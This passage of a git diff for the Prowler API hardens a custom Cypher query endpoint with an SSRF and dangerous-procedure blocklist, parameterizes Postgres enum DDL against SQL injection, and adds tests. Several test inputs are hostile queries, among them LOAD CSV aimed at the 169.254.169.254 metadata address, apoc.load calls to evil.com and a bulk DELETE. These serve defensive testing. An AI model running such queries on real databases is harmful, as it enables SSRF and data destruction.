that are internet-exposed with open security groups (0.0.0.0/0) MATCH path_ec2 = (aws:AWSAccount {{id: $provider_uid}})--(ec2:EC2Instance)--(sg:EC2SecurityGroup)--(ipi:IpPermissionInbound)--(ir:IpRange) @@ -225,7 +225,7 @@ AWS_CLASSIC_ELB_INTERNET_EXPOSED = AttackPathsQueryDefinition( description="Find Classic Load Balancers exposed to the internet along with their listeners.", provider="aws", cypher=f""" - OPTIONAL MATCH (internet:Internet {{_provider_id: $provider_id}}) + OPTIONAL MATCH (internet:Internet {{{PROVIDER_ID_PROPERTY}: $provider_id}}) MATCH path = (aws:AWSAccount {{id: $provider_uid}})--(elb:LoadBalancer)--(listener:ELBListener) WHERE elb.exposed_internet = true @@ -247,7 +247,7 @@ AWS_ELBV2_INTERNET_EXPOSED = AttackPathsQueryDefinition( description="Find ELBv2 load balancers exposed to the internet along with their listeners.", provider="aws", cypher=f""" - OPTIONAL MATCH (internet:Internet {{_provider_id: $provider_id}}) + OPTIONAL MATCH (internet:Internet {{{PROVIDER_ID_PROPERTY}: $provider_id}}) MATCH path = (aws:AWSAccount {{id: $provider_uid}})--(elbv2:LoadBalancerV2)--(listener:ELBV2Listener) WHERE elbv2.exposed_internet = true @@ -269,7 +269,7 @@ AWS_PUBLIC_IP_RESOURCE_LOOKUP = AttackPathsQueryDefinition( description="Given a public IP address, find the related AWS resource and its adjacent node within the selected account.", provider="aws", cypher=f""" - OPTIONAL MATCH (internet:Internet {{_provider_id: $provider_id}}) + OPTIONAL MATCH (internet:Internet {{{PROVIDER_ID_PROPERTY}: $provider_id}}) MATCH path = (aws:AWSAccount {{id: $provider_uid}})-[r]-(x)-[q]-(y) WHERE (x:EC2PrivateIp AND x.public_ip = $ip) diff --git a/api/src/backend/api/attack_paths/queries/schema.py b/api/src/backend/api/attack_paths/queries/schema.py index 1ed227458b..f557a83dd9 100644 --- a/api/src/backend/api/attack_paths/queries/schema.py +++ b/api/src/backend/api/attack_paths/queries/schema.py @@ -1,7 +1,7 @@ -from tasks.jobs.attack_paths.config import DEPRECATED_PROVIDER_RESOURCE_LABEL +from tasks.jobs.attack_paths.config import PROVIDER_ID_PROPERTY, PROVIDER_RESOURCE_LABEL CARTOGRAPHY_SCHEMA_METADATA = f""" - MATCH (n:{DEPRECATED_PROVIDER_RESOURCE_LABEL} {{provider_id: $provider_id}}) + MATCH (n:{PROVIDER_RESOURCE_LABEL} {{{PROVIDER_ID_PROPERTY}: $provider_id}}) WHERE n._module_name STARTS WITH 'cartography:' AND NOT n._module_name IN ['cartography:ontology', 'cartography:prowler'] AND n._module_version IS NOT NULL diff --git a/api/src/backend/api/attack_paths/views_helpers.py b/api/src/backend/api/attack_paths/views_helpers.py index 8cba56eff7..8e3ee203b4 100644 --- a/api/src/backend/api/attack_paths/views_helpers.py +++ b/api/src/backend/api/attack_paths/views_helpers.py @@ -1,4 +1,5 @@ import logging +import re from typing import Any, Iterable @@ -12,7 +13,12 @@ from api.attack_paths.queries.schema import ( RAW_SCHEMA_URL, ) from config.custom_logging import BackendLogger -from tasks.jobs.attack_paths.config import INTERNAL_LABELS, INTERNAL_PROPERTIES +from tasks.jobs.attack_paths.config import ( + INTERNAL_LABELS, + INTERNAL_PROPERTIES, + PROVIDER_ID_PROPERTY, + is_dynamic_isolation_label, +) logger = logging.getLogger(BackendLogger.API) @@ -117,6 +123,38 @@ def execute_query( # Custom query helpers +# Patterns that indicate SSRF or dangerous procedure calls +# Defense-in-depth layer - the primary control is `neo4j.READ_ACCESS` +_BLOCKED_PATTERNS = [ + re.compile(r"\bLOAD\s+CSV\b", re.IGNORECASE), + re.compile(r"\bapoc\.load\b", re.IGNORECASE), + re.compile(r"\bapoc\.import\b", re.IGNORECASE), + re.compile(r"\bapoc\.export\b", re.IGNORECASE), + re.compile(r"\bapoc\.cypher\b", re.IGNORECASE), + re.compile(r"\bapoc\.systemdb\b", re.IGNORECASE), + re.compile(r"\bapoc\.config\b", re.IGNORECASE), + re.compile(r"\bapoc\.periodic\b", re.IGNORECASE), + re.compile(r"\bapoc\.do\b", re.IGNORECASE), + re.compile(r"\bapoc\.trigger\b", re.IGNORECASE), + re.compile(r"\bapoc\.custom\b", re.IGNORECASE), +] + +# Strip string literals so patterns inside quotes don't cause false positives +# Handles escaped quotes (\' and \") inside strings +_STRING_LITERALS = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"") + + +def validate_custom_query(cypher: str) -> None: + """Reject queries containing known SSRF or dangerous procedure patterns. + + Raises ValidationError if a blocked pattern is found. + String literals are stripped before matching to avoid false positives. + """ + stripped = _STRING_LITERALS.sub("", cypher) + for pattern in _BLOCKED_PATTERNS: + if pattern.search(stripped): + raise ValidationError({"query": "Query contains a blocked operation"}) + def normalize_custom_query_payload(raw_data): if not isinstance(raw_data, dict): @@ -135,6 +173,8 @@ def execute_custom_query( cypher: str, provider_id: str, ) -> dict[str, Any]: + validate_custom_query(cypher) + try: graph = graph_database.execute_read_query( database=database_name, @@ -143,6 +183,9 @@ def execute_custom_query( serialized = _serialize_graph(graph, provider_id) return _truncate_graph(serialized) + except graph_database.ClientStatementException as exc: + raise ValidationError({"query": exc.message}) + except graph_database.WriteQueryNotAllowedException: raise PermissionDenied( "Attack Paths query execution failed: read-only queries are enforced" @@ -215,7 +258,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]: nodes = [] kept_node_ids = set() for node in graph.nodes: - if node._properties.get("provider_id") != provider_id: + if node._properties.get(PROVIDER_ID_PROPERTY) != provider_id: continue kept_node_ids.add(node.element_id) @@ -227,9 +270,15 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]: }, ) + filtered_count = len(graph.nodes) - len(nodes) + if filtered_count > 0: + logger.debug( + f"Filtered {filtered_count} nodes without matching provider_id={provider_id}" + ) + relationships = [] for relationship in graph.relationships: - if relationship._properties.get("provider_id") != provider_id: + if relationship._properties.get(PROVIDER_ID_PROPERTY) != provider_id: continue if ( @@ -257,7 +306,11 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]: def _filter_labels(labels: Iterable[str]) -> list[str]: - return [label for label in labels if label not in INTERNAL_LABELS] + return [ + label + for label in labels + if label not in INTERNAL_LABELS and not is_dynamic_isolation_label(label) + ] def _serialize_properties(properties: dict[str, Any]) -> dict[str, Any]: diff --git a/api/src/backend/api/db_utils.py b/api/src/backend/api/db_utils.py index 7a71084ccd..e3b11d7084 100644 --- a/api/src/backend/api/db_utils.py +++ b/api/src/backend/api/db_utils.py @@ -18,6 +18,7 @@ from django.db import ( ) from django_celery_beat.models import PeriodicTask from psycopg2 import connect as psycopg2_connect +from psycopg2 import sql as psycopg2_sql from psycopg2.extensions import AsIs, new_type, register_adapter, register_type from rest_framework_json_api.serializers import ValidationError @@ -280,15 +281,23 @@ class PostgresEnumMigration: self.enum_values = enum_values def create_enum_type(self, apps, schema_editor): # noqa: F841 - string_enum_values = ", ".join([f"'{value}'" for value in self.enum_values]) with schema_editor.connection.cursor() as cursor: cursor.execute( - f"CREATE TYPE {self.enum_name} AS ENUM ({string_enum_values});" + psycopg2_sql.SQL("CREATE TYPE {} AS ENUM ({})").format( + psycopg2_sql.Identifier(self.enum_name), + psycopg2_sql.SQL(", ").join( + psycopg2_sql.Literal(v) for v in self.enum_values + ), + ) ) def drop_enum_type(self, apps, schema_editor): # noqa: F841 with schema_editor.connection.cursor() as cursor: - cursor.execute(f"DROP TYPE {self.enum_name};") + cursor.execute( + psycopg2_sql.SQL("DROP TYPE {}").format( + psycopg2_sql.Identifier(self.enum_name) + ) + ) class PostgresEnumField(models.Field): diff --git a/api/src/backend/api/migrations/0085_finding_group_daily_summary_trgm_indexes.py b/api/src/backend/api/migrations/0085_finding_group_daily_summary_trgm_indexes.py new file mode 100644 index 0000000000..f6511184cd --- /dev/null +++ b/api/src/backend/api/migrations/0085_finding_group_daily_summary_trgm_indexes.py @@ -0,0 +1,31 @@ +# Generated by Django 5.1.15 on 2026-03-18 + +from django.contrib.postgres.indexes import GinIndex, OpClass +from django.contrib.postgres.operations import AddIndexConcurrently +from django.db import migrations +from django.db.models.functions import Upper + + +class Migration(migrations.Migration): + atomic = False + + dependencies = [ + ("api", "0084_googleworkspace_provider"), + ] + + operations = [ + AddIndexConcurrently( + model_name="findinggroupdailysummary", + index=GinIndex( + OpClass(Upper("check_id"), name="gin_trgm_ops"), + name="fgds_check_id_trgm_idx", + ), + ), + AddIndexConcurrently( + model_name="findinggroupdailysummary", + index=GinIndex( + OpClass(Upper("check_title"), name="gin_trgm_ops"), + name="fgds_check_title_trgm_idx", + ), + ), + ] diff --git a/api/src/backend/api/models.py b/api/src/backend/api/models.py index e736ef403a..7b7ccb9061 100644 --- a/api/src/backend/api/models.py +++ b/api/src/backend/api/models.py @@ -1783,6 +1783,15 @@ class FindingGroupDailySummary(RowLevelSecurityProtectedModel): fields=["tenant_id", "provider", "inserted_at"], name="fgds_tenant_prov_ins_idx", ), + # Trigram indexes for case-insensitive search + GinIndex( + OpClass(Upper("check_id"), name="gin_trgm_ops"), + name="fgds_check_id_trgm_idx", + ), + GinIndex( + OpClass(Upper("check_title"), name="gin_trgm_ops"), + name="fgds_check_title_trgm_idx", + ), ] class JSONAPIMeta: diff --git a/api/src/backend/api/specs/v1.yaml b/api/src/backend/api/specs/v1.yaml index 2eedf6dba0..8f8ae0f729 100644 --- a/api/src/backend/api/specs/v1.yaml +++ b/api/src/backend/api/specs/v1.yaml @@ -1,7 +1,7 @@ openapi: 3.0.3 info: title: Prowler API - version: 1.21.0 + version: 1.23.0 description: |- Prowler API specification. diff --git a/api/src/backend/api/tests/test_attack_paths.py b/api/src/backend/api/tests/test_attack_paths.py index 097a735464..442a9c5dd2 100644 --- a/api/src/backend/api/tests/test_attack_paths.py +++ b/api/src/backend/api/tests/test_attack_paths.py @@ -9,6 +9,10 @@ from rest_framework.exceptions import APIException, PermissionDenied, Validation from api.attack_paths import database as graph_database from api.attack_paths import views_helpers +from tasks.jobs.attack_paths.config import ( + PROVIDER_ELEMENT_ID_PROPERTY, + PROVIDER_ID_PROPERTY, +) def _make_neo4j_error(message, code): @@ -108,7 +112,7 @@ def test_execute_query_serializes_graph( labels=["AWSAccount"], properties={ "name": "account", - "provider_id": provider_id, + PROVIDER_ID_PROPERTY: provider_id, "complex": { "items": [ attack_paths_graph_stub_classes.NativeValue("value"), @@ -118,14 +122,14 @@ def test_execute_query_serializes_graph( }, ) node_2 = attack_paths_graph_stub_classes.Node( - "node-2", ["RDSInstance"], {"provider_id": provider_id} + "node-2", ["RDSInstance"], {PROVIDER_ID_PROPERTY: provider_id} ) relationship = attack_paths_graph_stub_classes.Relationship( element_id="rel-1", rel_type="OWNS", start_node=node, end_node=node_2, - properties={"weight": 1, "provider_id": provider_id}, + properties={"weight": 1, PROVIDER_ID_PROPERTY: provider_id}, ) graph = SimpleNamespace(nodes=[node, node_2], relationships=[relationship]) @@ -213,20 +217,20 @@ def test_serialize_graph_filters_by_provider_id(attack_paths_graph_stub_classes) provider_id = "provider-keep" node_keep = attack_paths_graph_stub_classes.Node( - "n1", ["AWSAccount"], {"provider_id": provider_id} + "n1", ["AWSAccount"], {PROVIDER_ID_PROPERTY: provider_id} ) node_drop = attack_paths_graph_stub_classes.Node( - "n2", ["AWSAccount"], {"provider_id": "provider-other"} + "n2", ["AWSAccount"], {PROVIDER_ID_PROPERTY: "provider-other"} ) rel_keep = attack_paths_graph_stub_classes.Relationship( - "r1", "OWNS", node_keep, node_keep, {"provider_id": provider_id} + "r1", "OWNS", node_keep, node_keep, {PROVIDER_ID_PROPERTY: provider_id} ) rel_drop_by_provider = attack_paths_graph_stub_classes.Relationship( - "r2", "OWNS", node_keep, node_drop, {"provider_id": "provider-other"} + "r2", "OWNS", node_keep, node_drop, {PROVIDER_ID_PROPERTY: "provider-other"} ) rel_drop_orphaned = attack_paths_graph_stub_classes.Relationship( - "r3", "OWNS", node_keep, node_drop, {"provider_id": provider_id} + "r3", "OWNS", node_keep, node_drop, {PROVIDER_ID_PROPERTY: provider_id} ) graph = SimpleNamespace( @@ -350,10 +354,8 @@ def test_serialize_properties_filters_internal_fields(): "_module_name": "cartography:aws", "_module_version": "0.98.0", # Provider isolation - "_provider_id": "42", - "_provider_element_id": "42:abc123", - "provider_id": "42", - "provider_element_id": "42:abc123", + PROVIDER_ID_PROPERTY: "42", + PROVIDER_ELEMENT_ID_PROPERTY: "42:abc123", } result = views_helpers._serialize_properties(properties) @@ -361,6 +363,14 @@ def test_serialize_properties_filters_internal_fields(): assert result == {"name": "prod"} +def test_filter_labels_strips_dynamic_isolation_labels(): + labels = ["AWSRole", "_Tenant_abc123", "_Provider_def456", "_ProviderResource"] + + result = views_helpers._filter_labels(labels) + + assert result == ["AWSRole"] + + def test_serialize_graph_as_text_node_without_properties(): graph = { "nodes": [{"id": "n1", "labels": ["AWSAccount"], "properties": {}}], @@ -440,13 +450,13 @@ def test_execute_custom_query_serializes_graph( ): provider_id = "test-provider-123" node_1 = attack_paths_graph_stub_classes.Node( - "node-1", ["AWSAccount"], {"provider_id": provider_id} + "node-1", ["AWSAccount"], {PROVIDER_ID_PROPERTY: provider_id} ) node_2 = attack_paths_graph_stub_classes.Node( - "node-2", ["RDSInstance"], {"provider_id": provider_id} + "node-2", ["RDSInstance"], {PROVIDER_ID_PROPERTY: provider_id} ) relationship = attack_paths_graph_stub_classes.Relationship( - "rel-1", "OWNS", node_1, node_2, {"provider_id": provider_id} + "rel-1", "OWNS", node_1, node_2, {PROVIDER_ID_PROPERTY: provider_id} ) graph_result = MagicMock() @@ -501,6 +511,72 @@ def test_execute_custom_query_wraps_graph_errors(): mock_logger.error.assert_called_once() +# -- validate_custom_query ------------------------------------------------ + + +@pytest.mark.parametrize( + "cypher", + [ + "LOAD CSV FROM 'http://169.254.169.254/' AS x RETURN x", + "load csv from 'http://evil.com' as row return row", + "CALL apoc.load.json('http://evil.com/') YIELD value RETURN value", + "CALL apoc.load.csvParams('http://evil.com/', {}, null) YIELD list RETURN list", + "CALL apoc.import.csv([{fileName: 'f'}], [], {}) YIELD node RETURN node", + "CALL apoc.export.csv.all('file.csv', {})", + "CALL apoc.cypher.run('CREATE (n)', {}) YIELD value RETURN value", + "CALL apoc.systemdb.graph() YIELD nodes RETURN nodes", + "CALL apoc.config.list() YIELD key, value RETURN key, value", + "CALL apoc.periodic.iterate('MATCH (n) RETURN n', 'DELETE n', {batchSize: 100})", + "CALL apoc.do.when(true, 'CREATE (n) RETURN n', '', {}) YIELD value RETURN value", + "CALL apoc.trigger.add('t', 'RETURN 1', {phase: 'before'})", + "CALL apoc.custom.asProcedure('myProc', 'RETURN 1')", + ], + ids=[ + "LOAD_CSV", + "LOAD_CSV_lowercase", + "apoc.load.json", + "apoc.load.csvParams", + "apoc.import.csv", + "apoc.export.csv", + "apoc.cypher.run", + "apoc.systemdb.graph", + "apoc.config.list", + "apoc.periodic.iterate", + "apoc.do.when", + "apoc.trigger.add", + "apoc.custom.asProcedure", + ], +) +def test_validate_custom_query_rejects_blocked_patterns(cypher): + with pytest.raises(ValidationError) as exc: + views_helpers.validate_custom_query(cypher) + + assert "blocked operation" in str(exc.value.detail) + + +@pytest.mark.parametrize( + "cypher", + [ + "MATCH (n:AWSAccount) RETURN n LIMIT 10", + "MATCH (a)-[r]->(b) RETURN a, r, b", + "MATCH (n) WHERE n.name CONTAINS 'load' RETURN n", + "CALL apoc.create.vNode(['Label'], {}) YIELD node RETURN node", + "MATCH (n) WHERE n.name = 'apoc.load.json' RETURN n", + 'MATCH (n) WHERE n.description = "LOAD CSV is cool" RETURN n', + ], + ids=[ + "simple_match", + "traversal", + "contains_load_substring", + "apoc_virtual_node", + "apoc_load_inside_single_quotes", + "load_csv_inside_double_quotes", + ], +) +def test_validate_custom_query_allows_clean_queries(cypher): + views_helpers.validate_custom_query(cypher) + + # -- _truncate_graph ---------------------------------------------------------- diff --git a/api/src/backend/api/tests/test_attack_paths_database.py b/api/src/backend/api/tests/test_attack_paths_database.py index 8b458cb7b7..7e07792a69 100644 --- a/api/src/backend/api/tests/test_attack_paths_database.py +++ b/api/src/backend/api/tests/test_attack_paths_database.py @@ -442,3 +442,78 @@ class TestThreadSafety: # All threads got the same driver instance assert all(r is mock_driver for r in results) assert len(results) == 10 + + +class TestHasProviderData: + """Test has_provider_data helper for checking provider nodes in Neo4j.""" + + def test_returns_true_when_nodes_exist(self): + import api.attack_paths.database as db_module + + mock_session = MagicMock() + mock_result = MagicMock() + mock_result.single.return_value = MagicMock() # non-None record + mock_session.run.return_value = mock_result + + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + + with patch( + "api.attack_paths.database.get_session", + return_value=session_ctx, + ): + assert db_module.has_provider_data("db-tenant-abc", "provider-123") is True + + mock_session.run.assert_called_once() + + def test_returns_false_when_no_nodes(self): + import api.attack_paths.database as db_module + + mock_session = MagicMock() + mock_result = MagicMock() + mock_result.single.return_value = None + mock_session.run.return_value = mock_result + + session_ctx = MagicMock() + session_ctx.__enter__.return_value = mock_session + session_ctx.__exit__.return_value = False + + with patch( + "api.attack_paths.database.get_session", + return_value=session_ctx, + ): + assert db_module.has_provider_data("db-tenant-abc", "provider-123") is False + + def test_returns_false_when_database_not_found(self): + import api.attack_paths.database as db_module + + session_ctx = MagicMock() + session_ctx.__enter__.side_effect = db_module.GraphDatabaseQueryException( + message="Database does not exist", + code="Neo.ClientError.Database.DatabaseNotFound", + ) + + with patch( + "api.attack_paths.database.get_session", + return_value=session_ctx, + ): + assert ( + db_module.has_provider_data("db-tenant-gone", "provider-123") is False + ) + + def test_raises_on_other_errors(self): + import api.attack_paths.database as db_module + + session_ctx = MagicMock() + session_ctx.__enter__.side_effect = db_module.GraphDatabaseQueryException( + message="Connection refused", + code="Neo.TransientError.General.UnknownError", + ) + + with patch( + "api.attack_paths.database.get_session", + return_value=session_ctx, + ): + with pytest.raises(db_module.GraphDatabaseQueryException): + db_module.has_provider_data("db-tenant-abc", "provider-123") diff --git a/api/src/backend/api/tests/test_db_utils.py b/api/src/backend/api/tests/test_db_utils.py index f52bb349aa..18935b9a3e 100644 --- a/api/src/backend/api/tests/test_db_utils.py +++ b/api/src/backend/api/tests/test_db_utils.py @@ -6,10 +6,12 @@ import pytest from django.conf import settings from django.db import DEFAULT_DB_ALIAS, OperationalError from freezegun import freeze_time +from psycopg2 import sql as psycopg2_sql from rest_framework_json_api.serializers import ValidationError from api.db_utils import ( POSTGRES_TENANT_VAR, + PostgresEnumMigration, _should_create_index_on_partition, batch_delete, create_objects_in_batches, @@ -910,3 +912,61 @@ class TestRlsTransaction: cursor.execute("SELECT 1") result = cursor.fetchone() assert result[0] == 1 + + +class TestPostgresEnumMigration: + """ + Verify that PostgresEnumMigration builds DDL statements via psycopg2.sql + so that enum type names and values are always properly quoted — preventing + SQL injection through f-string interpolation. + """ + + def _make_mock_schema_editor(self): + mock_cursor = MagicMock() + mock_conn = MagicMock() + mock_conn.cursor.return_value.__enter__ = MagicMock(return_value=mock_cursor) + mock_conn.cursor.return_value.__exit__ = MagicMock(return_value=False) + mock_schema_editor = MagicMock() + mock_schema_editor.connection = mock_conn + return mock_schema_editor, mock_cursor + + def test_create_enum_type_generates_correct_sql(self): + """create_enum_type builds a proper CREATE TYPE … AS ENUM via psycopg2.sql.""" + migration = PostgresEnumMigration("my_enum", ("val_a", "val_b")) + schema_editor, mock_cursor = self._make_mock_schema_editor() + + migration.create_enum_type(apps=None, schema_editor=schema_editor) + + mock_cursor.execute.assert_called_once() + query_arg = mock_cursor.execute.call_args[0][0] + assert isinstance( + query_arg, psycopg2_sql.Composable + ), "create_enum_type must pass a psycopg2.sql.Composable, not a raw string." + # Verify the composed SQL structure: CREATE TYPE AS ENUM () + parts = query_arg.seq + assert parts[0] == psycopg2_sql.SQL("CREATE TYPE ") + assert isinstance(parts[1], psycopg2_sql.Identifier) + assert parts[1].strings == ("my_enum",) + assert parts[2] == psycopg2_sql.SQL(" AS ENUM (") + # The enum values are a Composed of Literal items joined by ", " + enum_literals = [p for p in parts[3].seq if isinstance(p, psycopg2_sql.Literal)] + assert [lit._wrapped for lit in enum_literals] == ["val_a", "val_b"] + assert parts[4] == psycopg2_sql.SQL(")") + + def test_drop_enum_type_generates_correct_sql(self): + """drop_enum_type builds a proper DROP TYPE via psycopg2.sql.""" + migration = PostgresEnumMigration("my_enum", ("val_a",)) + schema_editor, mock_cursor = self._make_mock_schema_editor() + + migration.drop_enum_type(apps=None, schema_editor=schema_editor) + + mock_cursor.execute.assert_called_once() + query_arg = mock_cursor.execute.call_args[0][0] + assert isinstance( + query_arg, psycopg2_sql.Composable + ), "drop_enum_type must pass a psycopg2.sql.Composable, not a raw string." + # Verify the composed SQL structure: DROP TYPE + parts = query_arg.seq + assert parts[0] == psycopg2_sql.SQL("DROP TYPE ") + assert isinstance(parts[1], psycopg2_sql.Identifier) + assert parts[1].strings == ("my_enum",) diff --git a/api/src/backend/api/tests/test_views.py b/api/src/backend/api/tests/test_views.py index 6f48d5cf41..d857b2bc07 100644 --- a/api/src/backend/api/tests/test_views.py +++ b/api/src/backend/api/tests/test_views.py @@ -3810,6 +3810,12 @@ class TestTaskViewSet: @pytest.mark.django_db class TestAttackPathsScanViewSet: + @pytest.fixture(autouse=True) + def _clear_throttle_cache(self): + from django.core.cache import cache + + cache.clear() + @staticmethod def _run_payload(query_id="aws-rds", parameters=None): return { @@ -4411,8 +4417,6 @@ class TestAttackPathsScanViewSet: } } - # TODO: Remove skip once queries/custom and schema endpoints are unblocked - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_run_custom_query_returns_graph( self, authenticated_client, @@ -4470,7 +4474,6 @@ class TestAttackPathsScanViewSet: assert attributes["total_nodes"] == 1 assert attributes["truncated"] is False - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_run_custom_query_returns_text_when_accept_text_plain( self, authenticated_client, @@ -4525,7 +4528,6 @@ class TestAttackPathsScanViewSet: assert "## Relationships (0)" in body assert "## Summary" in body - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_run_custom_query_returns_404_when_no_nodes( self, authenticated_client, @@ -4567,7 +4569,6 @@ class TestAttackPathsScanViewSet: assert response.status_code == status.HTTP_404_NOT_FOUND - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_run_custom_query_returns_400_when_graph_not_ready( self, authenticated_client, @@ -4594,7 +4595,6 @@ class TestAttackPathsScanViewSet: assert response.status_code == status.HTTP_400_BAD_REQUEST assert "not available" in response.json()["errors"][0]["detail"] - @pytest.mark.skip(reason="Endpoint temporarily blocked") def test_run_custom_query_returns_403_for_write_query( self, authenticated_client, @@ -4632,9 +4632,343 @@ class TestAttackPathsScanViewSet: assert response.status_code == status.HTTP_403_FORBIDDEN + # -- SSRF blocklist (HTTP level) ---------------------------------------------- + + @pytest.mark.parametrize( + "cypher", + [ + "LOAD CSV FROM 'http://169.254.169.254/' AS x RETURN x", + "CALL apoc.load.json('http://evil.com/') YIELD value RETURN value", + "CALL apoc.import.csv([{fileName: 'f'}], [], {}) YIELD node RETURN node", + "CALL apoc.export.csv.all('file.csv', {})", + "CALL apoc.cypher.run('CREATE (n)', {}) YIELD value RETURN value", + "CALL apoc.systemdb.graph() YIELD nodes RETURN nodes", + ], + ids=[ + "LOAD_CSV", + "apoc.load", + "apoc.import", + "apoc.export", + "apoc.cypher.run", + "apoc.systemdb", + ], + ) + def test_run_custom_query_rejects_ssrf_patterns( + self, + authenticated_client, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + cypher, + ): + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + with patch( + "api.v1.views.graph_database.get_database_name", + return_value="db-test", + ): + response = authenticated_client.post( + reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ), + data=self._custom_query_payload(cypher), + content_type=API_JSON_CONTENT_TYPE, + ) + + assert response.status_code == status.HTTP_400_BAD_REQUEST + assert "blocked" in response.json()["errors"][0]["detail"].lower() + + # -- Cross-tenant isolation --------------------------------------------------- + + def test_run_custom_query_returns_404_for_foreign_tenant( + self, + authenticated_client, + create_attack_paths_scan, + ): + from api.models import Provider, Tenant + + foreign_tenant = Tenant.objects.create(name="foreign-tenant") + foreign_provider = Provider.objects.create( + tenant=foreign_tenant, + provider="aws", + uid="123456789999", + ) + attack_paths_scan = create_attack_paths_scan( + foreign_provider, + graph_data_ready=True, + ) + + with patch( + "api.v1.views.graph_database.get_database_name", + return_value="db-test", + ): + response = authenticated_client.post( + reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ), + data=self._custom_query_payload(), + content_type=API_JSON_CONTENT_TYPE, + ) + + assert response.status_code == status.HTTP_404_NOT_FOUND + + def test_cartography_schema_returns_404_for_foreign_tenant( + self, + authenticated_client, + create_attack_paths_scan, + ): + from api.models import Provider, Tenant + + foreign_tenant = Tenant.objects.create(name="foreign-tenant-schema") + foreign_provider = Provider.objects.create( + tenant=foreign_tenant, + provider="aws", + uid="123456789998", + ) + attack_paths_scan = create_attack_paths_scan( + foreign_provider, + graph_data_ready=True, + ) + + response = authenticated_client.get( + reverse( + "attack-paths-scans-schema", + kwargs={"pk": attack_paths_scan.id}, + ) + ) + + assert response.status_code == status.HTTP_404_NOT_FOUND + + # -- Authentication / authorization ------------------------------------------- + + def test_run_custom_query_returns_401_unauthenticated( + self, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + ): + from rest_framework.test import APIClient + + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + unauthenticated = APIClient() + response = unauthenticated.post( + reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ), + data=self._custom_query_payload(), + content_type=API_JSON_CONTENT_TYPE, + ) + + assert response.status_code == status.HTTP_401_UNAUTHORIZED + + def test_cartography_schema_returns_401_unauthenticated( + self, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + ): + from rest_framework.test import APIClient + + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + unauthenticated = APIClient() + response = unauthenticated.get( + reverse( + "attack-paths-scans-schema", + kwargs={"pk": attack_paths_scan.id}, + ) + ) + + assert response.status_code == status.HTTP_401_UNAUTHORIZED + + def test_run_custom_query_returns_403_no_manage_scans( + self, + authenticated_client_no_permissions_rbac, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + ): + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + response = authenticated_client_no_permissions_rbac.post( + reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ), + data=self._custom_query_payload(), + content_type=API_JSON_CONTENT_TYPE, + ) + + assert response.status_code == status.HTTP_403_FORBIDDEN + + # -- Error leakage ------------------------------------------------------------ + + def test_run_custom_query_does_not_leak_internals_on_error( + self, + authenticated_client, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + ): + from rest_framework.exceptions import APIException + + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + with ( + patch( + "api.v1.views.attack_paths_views_helpers.execute_custom_query", + side_effect=APIException( + "Attack Paths query execution failed due to a database error" + ), + ), + patch( + "api.v1.views.graph_database.get_database_name", + return_value="db-test", + ), + ): + response = authenticated_client.post( + reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ), + data=self._custom_query_payload(), + content_type=API_JSON_CONTENT_TYPE, + ) + + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR + body = json.dumps(response.json()).lower() + for forbidden_term in ["neo4j", "bolt://", "syntaxerror", "db-tenant-"]: + assert forbidden_term not in body + + # -- Rate limiting (throttle) ------------------------------------------------- + + def test_run_custom_query_throttled_after_limit( + self, + authenticated_client, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + ): + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + mock_graph = { + "nodes": [{"id": "n1", "labels": ["Test"], "properties": {}}], + "relationships": [], + "total_nodes": 1, + "truncated": False, + } + + url = reverse( + "attack-paths-scans-queries-custom", + kwargs={"pk": attack_paths_scan.id}, + ) + payload = self._custom_query_payload() + + with ( + patch( + "api.v1.views.attack_paths_views_helpers.execute_custom_query", + return_value=mock_graph, + ), + patch( + "api.v1.views.graph_database.get_database_name", + return_value="db-test", + ), + patch( + "api.v1.views.graph_database.clear_cache", + ), + ): + for i in range(11): + response = authenticated_client.post( + url, + data=payload, + content_type=API_JSON_CONTENT_TYPE, + ) + if i < 10: + assert ( + response.status_code == status.HTTP_200_OK + ), f"Request {i + 1} should succeed with 200 OK, got {response.status_code}" + else: + assert ( + response.status_code == status.HTTP_429_TOO_MANY_REQUESTS + ), f"Request {i + 1} should be throttled" + + # -- Timeout simulation ------------------------------------------------------- + + def test_run_custom_query_returns_500_on_database_timeout( + self, + authenticated_client, + providers_fixture, + scans_fixture, + create_attack_paths_scan, + ): + from rest_framework.exceptions import APIException + + provider = providers_fixture[0] + attack_paths_scan = create_attack_paths_scan( + provider, + scan=scans_fixture[0], + graph_data_ready=True, + ) + + with ( + patch( + "api.v1.views.attack_paths_views_helpers.execute_custom_query", + side_effect=APIException( + "Attack Paths query execution failed due to a database error" + ), + ), + patch( + "api.v1.views.graph_database.get_database_name", + 